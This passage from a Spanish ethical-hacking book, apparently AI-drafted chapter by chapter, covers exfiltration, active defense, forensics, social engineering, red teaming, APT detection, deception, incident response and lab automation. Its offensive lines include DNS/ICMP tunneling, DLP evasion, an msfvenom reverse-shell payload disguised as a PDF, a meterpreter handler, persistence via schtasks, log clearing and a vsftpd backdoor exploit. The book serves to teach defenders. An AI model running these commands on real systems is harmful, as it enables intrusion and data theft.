#### 3.2. DNS tunneling con iodine

1. Instalar en atacante y víctima:

```
apt install iodine
```

2. En servidor:

```
iodined -f -P secret 10.0.0.1 tun.dominio.com
```

3. En cliente:

```
iodine -P secret tun.dominio.com
```

4. Transferir archivo:

```
scp datos.txt user@10.0.0.1:/tmp
```

#### 3.3. ICMP tunneling con ptunnel

```
ptunnel -x secret
```

---

Permite encapsular tráfico TCP en paquetes ICMP (ping).

---

### 3.4. Uso de canales legítimos

- **Google Sheets API** para subir datos disfrazados de registros.
- **Slack bots** para enviar fragmentos a un canal privado.

Ejemplo Slack API:

```
curl -X POST -H "Authorization: Bearer xoxb-token" \
-F "file=@datos.txt" \
https://slack.com/api/files.upload
```

---

## 4. Evasión de sistemas DLP

- **Ofuscación de datos** (cifrar antes de enviar).
- **Renombrar extensiones** (**.csv** → **.jpg**).
- **Fragmentar y reordenar** antes de enviar.
- **Uso de esteganografía**: ocultar datos en imágenes/audio.

```
steghide embed -cf imagen.jpg -ef datos.txt -p clave
```

---

## 5. Laboratorio de exfiltración

1. **Montar un servidor atacante** (VPS con HTTPS).
2. **Configurar víctima** en red controlada con **tcpdump** para monitoreo.
3. **Simular extracción de datos sensibles** usando HTTP y DNS tunneling.
4. **Verificar detección** con IDS/IPS o DLP.

---

## 6. Detección y defensa

- **Análisis de tráfico saliente:**

```
tcpdump -i eth0 port 53
```

- **Alertas por volumen anormal.**
- **Bloquear protocolos no autorizados.**
- **Inspección profunda de paquetes (DPI).**

Con este capítulo cerramos el bloque principal de herramientas y técnicas ofensivas. Si querés, para **Capítulo 31** podemos pasar a "**Defensa activa y contra-hacking**", donde se enseña cómo responder en tiempo real a un ataque y contraatacar dentro de los límites legales, algo muy jugoso para cerrar la parte "acción" del libro antes de los anexos.

---

# Capítulo 31 — Defensa Activa y Contra-Hacking en Pentesting

---

**Objetivo:** Aprender a implementar tácticas de defensa proactiva, detección en tiempo real y simulación de contraataques legales para frenar o desviar a un adversario.

## 1. Filosofía de la defensa activa

La defensa tradicional se basa en **detectar y bloquear**. La defensa activa añade:

- **Engaño** (honeypots, honeytokens)
- **Rastreo** (fingerprinting del atacante)
- **Desgaste** (rate limiting, entorpecer ataques)
- **Simulación de represalias** (en entornos controlados)

**Nota legal:** Cualquier contraataque debe hacerse en un laboratorio o en un entorno con autorización expresa. Fuera de eso, es ilegal.

---

## 2. Preparando el campo de batalla

### 2.1. Detección temprana con Wazuh

```
apt install wazuh-agent
```

Configurar para alertar en tiempo real cuando:

- Hay múltiples intentos de login fallidos.
- Se crean archivos en directorios sensibles.

### 2.2. Honeypots

Instalar un honeypot SSH:

```
apt install cowrie  
systemctl start cowrie
```

El atacante cree que está dentro de un servidor real, pero todo queda registrado.

### 3. Tácticas de respuesta en tiempo real

#### 3.1. Bloqueo dinámico con fail2ban

```
fail2ban-client set sshd banip 192.168.1.50
```

#### 3.2. Fingerprinting del atacante

Usar **p0f** para identificar SO y conexiones:

```
p0f -i eth0
```

---

### 4. Evasión activa: Redireccionar al atacante

Podemos enviar al atacante a un servidor falso:

```
iptables -t nat -A PREROUTING -s 192.168.1.50 -j DNAT --to-destination 192.168.1.200
```

Donde **192.168.1.200** es un honeypot.

---

### 5. Contra-hacking simulado

En un pentest controlado, podemos “atacar de vuelta” para:

- Medir la reacción del atacante.
- Extraer su infraestructura de C2 (Command & Control).

Ejemplo: escaneo inverso

```
nmap -A -T4 attacker.ip
```

---

### 6. Uso de Honeytokens

Un honeytoken es un dato falso que **no debería ser accedido**. Ejemplo: credenciales falsas guardadas en un archivo **passwords.txt**:

```
db_user=admin_fake  
db_pass=superSecret123
```

Si aparecen en logs de uso, sabemos que hubo acceso no autorizado.

## 7. Escenario de laboratorio propuesto

1. **Montar un servidor con Wazuh y honeypot SSH.**
2. **Simular un ataque** desde una máquina Kali.
3. **Detectar y loggear** todos los comandos ejecutados.
4. **Hacer fingerprinting** del atacante con **p0f**.
5. **Redirigirlo a un honeypot HTTP.**
6. **Analizar la interacción** para entender su modus operandi.

## 8. Defensa activa + OSINT

Una vez identificada la IP, podemos hacer OSINT para saber más:

```
whois attacker.ip  
shodan host attacker.ip
```

## 9. Estrategias de desgaste

- Introducir **delays artificiales** en respuestas HTTP para ataques de fuerza bruta.
- Rotar endpoints críticos.
- Generar falsos positivos para confundir al atacante.

Con este capítulo, el lector aprende a **jugar al ajedrez en vivo contra un atacante**. En el **Capítulo 32** podríamos pasar a **Análisis Forense Post-Exfiltración**, para cerrar el ciclo: del ataque → defensa activa → investigación posterior.

# Capítulo 32 — Análisis Forense Post-Exfiltración

**Objetivo:** Enseñar el procedimiento completo para investigar un incidente de exfiltración de datos, desde la preservación de la evidencia hasta el reporte final, usando herramientas forenses y de monitoreo de red.

## 1. Principios básicos de la investigación forense

- **No alterar la evidencia:** Trabajar siempre sobre copias.
- **Preservar la cadena de custodia:** Documentar quién accede a qué.
- **Registrar todo:** Cada comando ejecutado y cada hallazgo.

## 2. Preservación de evidencia

### 2.1. Clonado de discos

```
dd if=/dev/sda of=/mnt/forense/disk.img bs=4M conv=noerror,sync
```

### 2.2. Captura de memoria RAM

En Linux:

```
apt install lime-forensics  
insmod /path/to/lime.ko "path=/mnt/forense/mem.lime format=lime"
```

En Windows:

```
winpmem.exe --format raw --output memdump.raw
```

---

## 3. Análisis de tráfico de red histórico

Si hay **pcaps** guardados:

```
tcpdump -r trafico.pcap
```

Filtrar por dominios sospechosos:

```
tshark -r trafico.pcap -Y "dns.qry.name contains 'tun.dominio.com'"
```

---

## 4. Trazando la ruta de la exfiltración

1. Revisar logs de firewall:

```
grep "192.168.1.50" /var/log/ufw.log
```

2. Analizar patrones de salida de datos (horarios, tamaño, destino).

3. Verificar si hubo **tunneling** (DNS, ICMP, HTTP anómalo).

---

## 5. Herramientas forenses clave

Herramienta	Uso
<b>Autopsy</b>	Análisis de disco y metadatos
<b>Volatility</b>	Análisis de memoria RAM
<b>Wireshark</b>	Inspección profunda de tráfico
<b>Plaso/Log2Timeline</b>	Línea de tiempo de eventos
<b>CyberChef</b>	Decodificación/transformación de datos

## 5.1. Ejemplo Volatility

Listar procesos:

```
vol.py -f mem.lime --profile=LinuxUbuntu_5_4_0_x64 pslist
```

Buscar conexiones activas:

```
vol.py -f mem.lime --profile=LinuxUbuntu_5_4_0_x64 netscan
```

## 6. Recuperación de fragmentos exfiltrados

A veces los datos no salen completos:

- Buscar en `/tmp`, `/var/tmp`, `%TEMP%`.
- Analizar imágenes con esteganografía inversa:

```
steghide extract -sf imagen.jpg -p clave
```

## 7. Informe final del incidente

Debe incluir:

1. **Descripción del incidente.**
2. **Línea de tiempo** de actividades.
3. **Impacto** (datos comprometidos).
4. **Técnicas usadas por el atacante.**
5. **Medidas correctivas.**

Ejemplo de estructura:

Fecha: 2025-08-13  
Atacante identificado por IP: 203.0.113.45  
Método de exfiltración: DNS tunneling con iodine  
Datos comprometidos: Base de clientes (500 MB)  
Medidas tomadas: Bloqueo de dominio malicioso, cambio de credenciales

## 8. Conexión con la defensa futura

Cada análisis post-exfiltración debe alimentar:

- Nuevas reglas de firewall/IDS.
- Alertas personalizadas.
- Procedimientos de respuesta más rápidos.

Con esto, el lector entiende cómo cerrar el círculo: **detectar, mitigar, investigar y aprender** de cada incidente. En el **Capítulo 33** podríamos entrar en **Ingeniería social avanzada para pentesters éticos**, para tocar el lado más humano del hacking y sus defensas.

# Capítulo 33 — Ingeniería Social Avanzada para Pentesters Éticos

**Objetivo:** Dominar técnicas de persuasión, manipulación y obtención de información en un entorno controlado, con autorización previa, para evaluar la resistencia humana ante ataques.

## 1. ¿Por qué es tan peligrosa la ingeniería social?

- El eslabón más débil **siempre** es la persona.
- No requiere malware ni exploits sofisticados.
- Puede abrir la puerta a ataques técnicos posteriores.

Ejemplo real: Un ataque de phishing bien diseñado puede dar acceso total en minutos a un sistema que resistiría meses de ataques técnicos.

## 2. Modalidades de ingeniería social

Modalidad	Descripción	Ejemplo
<b>Phishing</b>	Correo falso para robar credenciales	"Actualice su cuenta bancaria aquí"
<b>Vishing</b>	Llamadas telefónicas engañosas	"Soy de soporte técnico, necesito su contraseña"
<b>Smishing</b>	SMS malicioso	Link falso a una factura
<b>Pretexting</b>	Inventar un personaje o historia	"Soy auditor interno, necesito acceso"

Modalidad	Descripción	Ejemplo
<b>Baiting</b>	Dejar dispositivos físicos infectados	Pendrive con etiqueta "Planillas sueldos"

### 3. Fases de un ataque de ingeniería social controlado

#### 1. Reconocimiento (OSINT):

```
theHarvester -d empresa.com -b linkedin
```

#### 2. Diseño del pretexto:

- Crear historia creíble.
- Ajustar vocabulario al perfil de la víctima.

#### 3. Contacto inicial (email, teléfono, físico).

#### 4. Extracción de información.

#### 5. Cierre y reporte.

### 4. Herramientas para simular ataques

#### 4.1. GoPhish

```
apt install gophish
```

Permite:

- Crear landing pages falsas.
- Enviar campañas de phishing controladas.
- Medir quién cae en la trampa.

#### 4.2. SET (Social Engineering Toolkit)

```
setoolkit
```

Opciones:

- Clonar sitios.
- Generar payloads.
- Enviar spear phishing.

## 5. Ejemplo de campaña controlada

**Objetivo:** Evaluar si empleados clican en un link malicioso. **Pasos:**

1. Crear landing page con GoPhish.
  2. Enviar email con asunto: "Nueva política de vacaciones — Acción requerida"
  3. Monitorear clics y credenciales ingresadas.
  4. Reportar resultados.
- 

## 6. Ingeniería social física

- **Tailgating:** Entrar detrás de un empleado.
- **Shoulder surfing:** Mirar pantallas o contraseñas por encima del hombro.
- **Entrega de USB:**

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tuIP LPORT=4444 -f exe > informe.pdf.exe
```

(Solo en laboratorio o con permisos legales)

---

## 7. Defensa contra ingeniería social

- **Capacitación continua.**
  - **Simulacros periódicos.**
  - **Verificación de identidades.**
  - **Política de no compartir información por teléfono/email sin validar.**
- 

## 8. Laboratorio propuesto

1. Instalar GoPhish y SET.
  2. Diseñar dos campañas:
    - Una masiva (phishing general).
    - Una dirigida (spear phishing).
  3. Ejecutar y medir tasa de clics.
  4. Hacer un taller de retroalimentación con los resultados.
- 

## 9. Ética y legalidad

- Toda campaña debe contar con **autorización por escrito**.
  - La información recolectada debe ser eliminada tras el ejercicio.
  - El objetivo es **educar, no humillar**.
-

En el **Capítulo 34** podríamos entrar en **Operaciones de Red Team y Simulación de Amenazas Avanzadas**, donde se mezclan técnicas ofensivas, defensivas y de ingeniería social para simular ataques complejos de varios vectores a la vez.

---

## Capítulo 34 — Operaciones de Red Team y Simulación de Amenazas Avanzadas

---

**Objetivo:** Aprender a planificar, ejecutar y reportar una operación Red Team completa, integrando ciberataques, ingeniería social y pruebas físicas para simular a un adversario real.

### 1. ¿Qué es un Red Team?

Un Red Team **no es** solo un grupo de pentesters:

- **Simula adversarios reales** (APT, cibercriminales, hacktivistas).
- Usa **tácticas, técnicas y procedimientos (TTPs)** auténticos.
- Se centra en **los objetivos de negocio**, no solo en vulnerabilidades técnicas.

---

### 2. Diferencia con un pentest tradicional

Pentest tradicional	Red Team
Alcance definido	Alcance amplio y flexible
Busca vulnerabilidades específicas	Evaluá la capacidad de detección y respuesta
Duración corta (días/semanas)	Prolongado (semanas/meses)
Enfoque técnico	Enfoque multidimensional

---

### 3. Fases de una operación Red Team

#### 1. Planeación y ROE (Rules of Engagement)

- Aprobación legal.
- Definición de objetivos y restricciones.
- Coordinación con el Blue Team (o sin aviso, si es covert).

#### 2. Reconocimiento Avanzado

```
theHarvester -d empresa.com -b all  
shodan search org:"Empresa SA"
```

#### 3. Intrusión inicial

- Phishing dirigido.
- Vulnerabilidades explotables.
- Ataques físicos (tailgating, USB drop).

#### 4. Establecimiento de persistencia

```
msfconsole  
use exploit/multi/handler  
set PAYLOAD windows/meterpreter/reverse_https
```

#### 5. Movimiento lateral

```
crackmapexec smb 10.0.0.0/24 -u usuario -p password
```

#### 6. Escalación de privilegios

- Explotar fallos de configuración.
- Abusar de permisos de AD.

#### 7. Objetivo final

- Robo simulado de datos.
- Toma de control de un sistema crítico.

#### 8. Evasión

- Uso de cifrado en C2.
- Bypass de EDR/AV.

---

## 4. Herramientas clave para Red Team

Herramienta	Uso
Cobalt Strike	C2, post-explotación
Metasploit	Explotación
Empire	Post-explotación en PowerShell
BloodHound	Mapeo de AD
Responder	Captura de hashes en red
Gophish/SET	Phishing

---

## 5. Escenario de simulación propuesto

**Objetivo:** Simular un APT que roba datos financieros. **Duración:** 3 semanas. **Fases resumidas:**

1. Recolección OSINT (empleados, tecnología usada).
  2. Spear phishing a directivos con payload oculto en PDF.
  3. Acceso inicial a servidor de finanzas.
  4. Movimiento lateral hacia la base de datos central.
  5. Exfiltración simulada de 500 MB vía canal HTTPS.
  6. Limpieza de huellas y reporte.
- 

## 6. Indicadores a evaluar en un Red Team

- Tiempo de detección.
  - Tiempo de respuesta.
  - Eficiencia de contención.
  - Comunicación interna en incidentes.
  - Puntos ciegos técnicos y humanos.
- 

## 7. Reporte post-operación

Debe incluir:

1. **Narrativa:** historia del ataque simulado.
  2. **Mapa de ataque** (gráfico de vectores usados).
  3. **Impacto potencial.**
  4. **Recomendaciones** para endurecer defensas.
- 

En el **Capítulo 35** podríamos ir con **Análisis y Detección de APTs (Advanced Persistent Threats)**, para que el lector aprenda a reconocer y cazar a este tipo de adversarios que justamente un Red Team simula.

---

# Capítulo 35 — Análisis y Detección de APTs (Advanced Persistent Threats)

---

**Objetivo:** Aprender a identificar, rastrear y neutralizar amenazas persistentes avanzadas, combinando inteligencia de amenazas, análisis de comportamiento y correlación de eventos.

---

## 1. ¿Qué es un APT?

- **Advanced:** Uso de técnicas sofisticadas, zero-days, evasión de seguridad.
- **Persistent:** Presencia a largo plazo, múltiples puntos de acceso.
- **Threat:** Motivación clara (espionaje, robo de propiedad intelectual, sabotaje).

Ejemplo real: **APT29** (Cozy Bear) infiltrándose en redes gubernamentales durante años.

---

## 2. Ciclo de vida típico de un APT

Fase	Descripción	Ejemplo
<b>Intrusión inicial</b>	Phishing dirigido, explotación de vulnerabilidad	Zero-day en VPN
<b>Establecimiento de persistencia</b>	Backdoors, webshells, C2 cifrado	Meterpreter con HTTPS
<b>Movimiento lateral</b>	Robo de credenciales, Pass-the-Hash	CrackMapExec, Mimikatz
<b>Escalación de privilegios</b>	Admin de dominio	Exploits de kernel
<b>Exfiltración</b>	Robo de datos a cuentas externas	Canal DNS cifrado
<b>Limpieza de huellas</b>	Borrado de logs, timestamping	<code>wevtutil cl</code>

### 3. Indicadores de compromiso (IoCs) en APTs

- **Logs anómalos:**

```
grep "failed password" /var/log/auth.log | sort | uniq -c
```

- Conexiones salientes constantes a direcciones poco comunes.
- Cambios en hashes de binarios críticos.
- Creación de cuentas administrativas fuera de horario laboral.

## 4. Técnicas de detección

### 4.1. SIEM y correlación de eventos

Ejemplo en **Splunk**:

```
index=firewall dest_ip!=local subnet AND bytes_out>5000000
```

### 4.2. Análisis de tráfico

```
tshark -i eth0 -Y "dns.qry.name contains 'cn'"
```

### 4.3. Threat Intelligence

- Usar feeds como **AlienVault OTX, MISP, VirusTotal Intelligence**.
- Correlacionar IoCs con actividad interna.

## 5. Detección proactiva (Threat Hunting)

- **Búsqueda por comportamiento**, no solo por firmas.
- Analizar patrones de comando y control (C2).
- Revisar persistencia en:

```
cat /etc/crontab  
ls /etc/systemd/system/
```

---

## 6. Simulación de un APT en laboratorio

1. Crear un C2 con Metasploit o Empire.
2. Comprometer un host Windows.
3. Mantener persistencia con:

```
schtasks /create /sc onlogon /tn "Update" /tr "payload.exe"
```

4. Exfiltrar un archivo de prueba cifrado.
- 

## 7. Medidas defensivas

- **Segmentación de red.**
  - **MFA en todas las cuentas críticas.**
  - **Análisis continuo de logs.**
  - **Actualización constante de parches.**
  - **Monitoreo de integridad de archivos (FIM).**
- 

## 8. Reporte y comunicación

En APTs, el tiempo es crítico. El reporte debe incluir:

- Hora y método de detección.
  - Dispositivos comprometidos.
  - Alcance del daño.
  - Acciones tomadas.
  - Recomendaciones para evitar reinfecciones.
- 

En el **Capítulo 36** podríamos cerrar esta trilogía con **Defensa Activa y Ciberdecepción**, usando honeypots, honeynets y trampas digitales para detectar y engañar a atacantes avanzados.

---

# Capítulo 36 — Defensa Activa y Ciberdecepción

---

**Objetivo:** Implementar estrategias defensivas avanzadas que no solo bloquen ataques, sino que atraigan, engañen y registren la actividad de un adversario para fortalecer la postura de seguridad.

## 1. ¿Qué es la defensa activa?

No se trata solo de reaccionar, sino de **tomar la iniciativa**:

- Detectar y rastrear al atacante en tiempo real.
- Modificar el entorno para dificultar sus movimientos.
- Usar la **ciberdecepción** como arma de inteligencia.

## 2. Elementos clave de la ciberdecepción

Elemento	Función
<b>Honeypots</b>	Servidores falsos diseñados para atraer atacantes
<b>Honeynets</b>	Red completa de sistemas trampa
<b>Honeytokens</b>	Archivos o credenciales trampa que alertan al ser usados
<b>Fake Services</b>	Servicios simulados con vulnerabilidades controladas

## 3. Tipos de honeypots

- **De baja interacción:** Simulan servicios básicos (FTP, HTTP).
- **De alta interacción:** Sistemas reales con vulnerabilidades controladas.
- **Específicos de aplicación:** Diseñados para atraer ataques a una app en particular.

## 4. Herramientas para implementar ciberdecepción

### 4.1. Cowrie (SSH/Telnet honeypot)

```
git clone https://github.com/cowrie/cowrie.git
cd cowrie
virtualenv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt
```

### 4.2. Dionaea (malware honeypot)

Captura malware para análisis:

```
sudo apt install dionaea
```

## 4.3. Canarytokens

Credenciales o archivos que envían alertas cuando son usados:

- <https://canarytokens.org>
- 

## 5. Escenario de uso en red corporativa

1. Colocar un honeypot con SSH expuesto y banner atractivo:

```
Welcome to Internal Finance Server v3.2
```

2. Monitorear intentos de login:

```
tail -f /var/log/cowrie/cowrie.log
```

3. Analizar comandos ejecutados por el atacante.
  4. Ajustar defensas reales en base a patrones observados.
- 

## 6. Honeytokens en la práctica

- Crear una base de datos falsa con nombres y tarjetas de crédito ficticias.
- Insertar un token trampa:

```
INSERT INTO clientes (nombre, tarjeta) VALUES ('Test', '4111-1111-1111-1111-  
ALERTA');
```

- Si se filtra y es usada, sabrás que hubo una intrusión.
- 

## 7. Integración con SIEM

Ejemplo en **Splunk** para recibir alertas de un honeypot:

```
index=honeypot sourcetype=cowrie eventtype=login_failed  
| stats count by src_ip
```

## 8. Beneficios de la ciberdecepción

- Detecta atacantes antes de que lleguen a activos reales.
- Permite recolectar inteligencia de TTPs.

- Retrasa y confunde al adversario.
  - Crea un entorno dinámico de defensa.
- 

## 9. Advertencias éticas y legales

- Nunca contraatacar sin autorización legal.
  - Los honeypots deben estar aislados de sistemas productivos.
  - La información capturada debe ser usada solo con fines defensivos.
- 

En el **Capítulo 37** podríamos pasar a **Análisis Forense de Incidentes Reales** dentro del flujo de pentesting ético, donde el lector vea paso a paso cómo se investiga un ataque desde la primera alerta hasta el informe final.

---

# Capítulo 37 — Análisis Forense de Incidentes Reales (Enfoque Ético)

---

**Objetivo:** Aprender a investigar un incidente de ciberseguridad, siguiendo la cadena de custodia y aplicando herramientas forenses en entornos de laboratorio.

---

## 1. Principios básicos del análisis forense digital

1. **Preservación:** Mantener la integridad de la evidencia.
  2. **Cadena de custodia:** Registrar cada acción realizada sobre la evidencia.
  3. **Reproducibilidad:** Otro analista debe poder replicar los resultados.
  4. **Legalidad:** Solo trabajar con datos y entornos autorizados.
- 

## 2. Fases de una investigación forense

Fase	Descripción
<b>Identificación</b>	Detectar que ha ocurrido un incidente
<b>Preservación</b>	Clonar discos y capturar memoria
<b>Análisis</b>	Examinar artefactos y logs
<b>Documentación</b>	Registrar hallazgos
<b>Presentación</b>	Entregar informe final

---

## 3. Escenario de laboratorio

**Situación simulada:** Un servidor ficticio muestra actividad de red inusual. **Objetivo:** Determinar si hubo compromiso y qué datos fueron afectados.

---

## 4. Preservación de la evidencia

Clonar el disco en modo lectura:

```
sudo dd if=/dev/sda of=/mnt/evidencia.img bs=4M status=progress
```

Generar hash para verificar integridad:

```
sha256sum /mnt/evidencia.img > hash_original.txt
```

---

## 5. Análisis de logs del sistema

Buscar actividad de inicio de sesión fuera de horario:

```
grep "session opened" /var/log/auth.log | grep "03:"
```

Identificar IPs de origen sospechosas:

```
awk '{print $11}' /var/log/auth.log | sort | uniq -c | sort -nr
```

---

## 6. Análisis de tráfico capturado

Usar **Wireshark** o línea de comandos:

```
tshark -r captura.pcap -Y "http.request"
```

Ver si hubo conexiones a dominios no autorizados:

```
grep -i "bad-domain.com" captura.pcap
```

---

## 7. Recuperación de archivos borrados

En Linux:

```
foremost -i /mnt/evidencia.img -o /mnt/recuperados/
```

En Windows (imagen montada):

```
Get-ChildItem -Recurse | Where-Object {$_Attributes -match "Deleted"}
```

## 8. Informe forense

Debe incluir:

- Descripción del incidente.
- Evidencias y análisis.
- Línea de tiempo de eventos.
- Impacto potencial.
- Recomendaciones.

Ejemplo de línea de tiempo:

Fecha/Hora	Evento	Fuente
2025-02-12 03:14	Login SSH	/var/log/auth.log
2025-02-12 03:16	Transferencia de archivo	captura.pcap

## 9. Medidas preventivas aprendidas

- Configurar alertas tempranas.
- Monitorear actividad inusual.
- Mantener copias de seguridad seguras.
- Actualizar software y parches de seguridad.

En el **Capítulo 38** podríamos cerrar el bloque defensivo con **Respuesta a Incidentes Paso a Paso**, integrando lo que se vio de Red Team, APTs, ciberdecepción y forense para que el lector pueda pasar de la detección a la contención y erradicación.

# Capítulo 38 — Respuesta a Incidentes Paso a Paso

**Objetivo:** Dominar el proceso completo de respuesta a incidentes, desde la primera alerta hasta la restauración de operaciones, minimizando daños y evitando reinfecciones.

## 1. Ciclo de respuesta a incidentes

Según **NIST 800-61**, las fases son:

1. **Preparación**
2. **Detección y análisis**

3. **Contención**
  4. **Erradicación**
  5. **Recuperación**
  6. **Lecciones aprendidas**
- 

## 2. Preparación

- Definir un **plan de respuesta** documentado.
- Mantener **contactos de emergencia**.
- Tener listas **herramientas forenses** y scripts defensivos.
- Simular incidentes (ejercicios tabletop y Red Team drills).

Ejemplo de checklist rápido:

- [ ] Plan documentado
  - [ ] Roles asignados
  - [ ] Herramientas listas
  - [ ] Comunicación segura

---

## 3. Detección y análisis

- **Fuentes:** SIEM, IDS/IPS, logs de servidores, EDR.
- **Triage inicial:**

```
grep "Failed password" /var/log/auth.log | wc -l
```

- Clasificación del incidente:
  - Intrusión externa
  - Compromiso interno
  - Malware
  - Fuga de datos

---

## 4. Contención

### Corto plazo:

- Aislamiento de sistemas comprometidos:

```
sudo ip link set eth0 down
```

- Bloquear IPs en firewall:

```
sudo iptables -A INPUT -s 203.0.113.45 -j DROP
```

### Largo plazo:

- Crear VLANs separadas.
  - Reforzar MFA.
  - Revisar accesos y permisos.
- 

## 5. Erradicación

- Eliminar malware y backdoors.
- Cambiar todas las contraseñas afectadas.
- Parchar vulnerabilidades explotadas:

```
sudo apt update && sudo apt upgrade
```

- Revisar persistencia:

```
crontab -l  
systemctl list-timers
```

---

## 6. Recuperación

- Restaurar sistemas desde backups verificados.
- Monitorear actividad posterior a la recuperación.
- Validar que no queden puntos de acceso ocultos.

Ejemplo:

```
rsync -av /mnt/backup/ /var/www/html/
```

---

## 7. Lecciones aprendidas

- Documentar línea de tiempo y acciones.
  - Revisar qué funcionó y qué no.
  - Ajustar el plan de respuesta.
  - Capacitar al equipo.
- 

## 8. Ejemplo práctico de flujo completo

**Caso simulado:**

1. SIEM detecta tráfico saliente a IP sospechosa.
  2. Analista verifica en `pcap` y confirma actividad C2.
  3. Se aísla el host afectado.
  4. Se eliminan persistencias (`schtasks`, `rc.local`).
  5. Se restauran servicios desde backup limpio.
  6. Se actualiza firewall y se bloquean IoCs.
  7. Informe final y mejoras al plan.
- 

En el **Capítulo 39** podríamos meternos con **Automatización de Pentesting y Respuesta a Incidentes** usando Python, Bash y herramientas como Ansible para que todo este proceso pueda ejecutarse más rápido y con menos intervención manual.

---

## Capítulo 39 — Automatización de Pentesting y Respuesta a Incidentes

---

**Objetivo:** Aprender a automatizar escaneos, explotación controlada y acciones de respuesta a incidentes usando scripts y frameworks de orquestación.

---

### 1. ¿Por qué automatizar?

- **Velocidad:** Reducción de tiempo de reacción ante incidentes.
  - **Consistencia:** Menos errores humanos.
  - **Escalabilidad:** Capacidad de gestionar múltiples sistemas al mismo tiempo.
  - **Integración:** Con SIEM, CI/CD y entornos híbridos.
- 

### 2. Flujo típico de automatización

1. **Detección** → Alertas del SIEM.
  2. **Ejecución automática** → Scripts que validan y clasifican.
  3. **Acción** → Escaneo, bloqueo, backup, parcheo.
  4. **Informe** → Generación automática de reportes.
- 

### 3. Scripts en Bash para respuesta rápida

#### Escaneo rápido con Nmap y envío por email

```
#!/bin/bash
TARGETS=$1
RESULTS="/tmp/scan_$(date +%F).txt"
```

```
nmap -sV -T4 $TARGETS -oN $RESULTS  
mail -s "Resultados Nmap" admin@empresa.com < $RESULTS
```

## Bloquear IP maliciosa en iptables

```
#!/bin/bash  
IP=$1  
sudo iptables -A INPUT -s $IP -j DROP  
echo "IP $IP bloqueada."
```

## 4. Python para automatizar análisis y respuesta

### Conexión a API de VirusTotal para verificar hashes

```
import requests, sys  
  
API_KEY = "TU_API_KEY"  
hash_archivo = sys.argv[1]  
  
url = f"https://www.virustotal.com/api/v3/files/{hash_archivo}"  
headers = {"x-apikey": API_KEY}  
  
r = requests.get(url, headers=headers)  
print(r.json())
```

## 5. Automatización con Ansible

### Archivo hosts

```
[servidores]  
192.168.1.10  
192.168.1.20
```

### Playbook para aplicar parches

```
---  
- name: Parchar sistemas  
hosts: servidores  
become: yes  
tasks:  
  - name: Actualizar repos  
    apt:  
      update_cache: yes
```

```
- name: Instalar actualizaciones  
  apt:  
    upgrade: dist
```

Ejecución:

```
ansible-playbook -i hosts parcheo.yml
```

## 6. Automatización de pentesting

### Ejemplo: Escaneo + explotación controlada con Metasploit RPC

```
from metasploit.msfrpc import MsfRpcClient  
  
client = MsfRpcClient('password')  
exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')  
exploit['RHOSTS'] = '192.168.1.105'  
exploit.execute()
```

## 7. Integración con SIEM y alertas

- Scripts que se disparan al detectar patrones en logs.
- Ejemplo en Splunk:

```
index=firewall action=blocked  
| stats count by src_ip  
| where count > 10  
| map search="| script bloquear_ip.sh $src_ip"
```

## 8. Recomendaciones de seguridad

- Probar todo en laboratorio antes de producción.
- Controlar permisos y accesos a scripts.
- Documentar y versionar el código.

En el **Capítulo 40** podríamos cerrar el libro con **El Laboratorio de Hacking Ético Totalmente Integrado**, donde el lector tenga instrucciones para montar un entorno que incluya todas las herramientas, escenarios y automatizaciones vistas en el libro.

# Capítulo 40 — El Laboratorio de Hacking Ético Totalmente Integrado

**Objetivo:** Construir un entorno de laboratorio autosuficiente, seguro y flexible que permita practicar hacking ético de principio a fin, integrando automatización, monitoreo, explotación controlada, defensa y respuesta.

## 1. Arquitectura del laboratorio

El laboratorio debe ser:

- **Aislado de internet real** o con filtrado estricto.
- **Segmentado en redes** para simular entornos corporativos.
- **Reproducible** (con Vagrant, Docker o Ansible).
- **Versátil**: incluir máquinas Windows, Linux, y dispositivos IoT simulados.

**Ejemplo de topología:**

Red	IP Range	Rol
DMZ	192.168.50.0/24	Servidores públicos
LAN interna	192.168.60.0/24	PCs de oficina
Red atacante	192.168.70.0/24	Kali y herramientas

## 2. Componentes esenciales

- **Kali Linux** como máquina atacante.
- **Metasploitable 2/3** para explotación.
- **Windows Server + cliente Windows 10/11** para AD y pruebas de movimiento lateral.
- **Servidor ELK** para centralizar logs.
- **Máquinas con vulnerabilidades específicas** (DVWA, OWASP Juice Shop, etc.).

## 3. Automatización de despliegue

Usar **Vagrant** para levantar el laboratorio completo:

```
vagrant init  
vagrant up
```

Ejemplo de configuración de una VM Kali:

```
Vagrant.configure("2") do |config|  
  config.vm.box = "kalilinux/rolling"
```

```
config.vm.network "private_network", ip: "192.168.70.10"
end
```

---

## 4. Integración de herramientas ofensivas

- **Nmap, Burp Suite, Metasploit, Aircrack-ng, The Harvester, Nessus.**
  - Scripts en Bash y Python para escaneos automáticos.
  - Playbooks de Ansible para desplegar nuevas vulnerabilidades.
- 

## 5. Integración de herramientas defensivas

- **Suricata** como IDS.
  - **Wazuh** para EDR.
  - **Filebeat + Logstash + Kibana** para monitoreo en tiempo real.
  - Reglas automáticas de firewall que se disparen ante alertas.
- 

## 6. Simulación de ataques y defensa

Ejemplo de ejercicio:

1. **Ofensiva:** Explotar una vulnerabilidad SMB.
  2. **Defensiva:** Detectar el patrón en Suricata y bloquear IP.
  3. **Forense:** Extraer logs, hacer análisis de memoria y generar informe.
  4. **Automatización:** Script que repita el ataque y la defensa para pruebas continuas.
- 

## 7. Integración con respuesta a incidentes

Script que detecta actividad sospechosa y ejecuta acciones:

```
#!/bin/bash
IP=$1
logger "Detectado ataque desde $IP"
iptables -A INPUT -s $IP -j DROP
mail -s "IP bloqueada" admin@lab.local <<< "Se bloqueó la IP $IP"
```

---

## 8. Escenarios prácticos

- **Pentesting Web Completo** contra DVWA.
  - **Ataque + Pivoting** en red interna.
  - **Fuga de datos simulada** y su detección.
  - **Explotación con Metasploit** + reporte de vulnerabilidades.
-

## 9. Documentación y bitácora

El laboratorio debe tener:

- Manual de montaje.
  - Mapas de red.
  - Plantillas de informes.
  - Scripts listos para ejecutar.
- 

## 10. Mantenimiento y evolución

- Actualizar las máquinas vulnerables periódicamente.
  - Incorporar nuevas herramientas de Kali.
  - Simular amenazas emergentes (ransomware, APTs).
  - Conectar el laboratorio a entornos de nube (AWS, Azure, GCP) en modo aislado.
- 

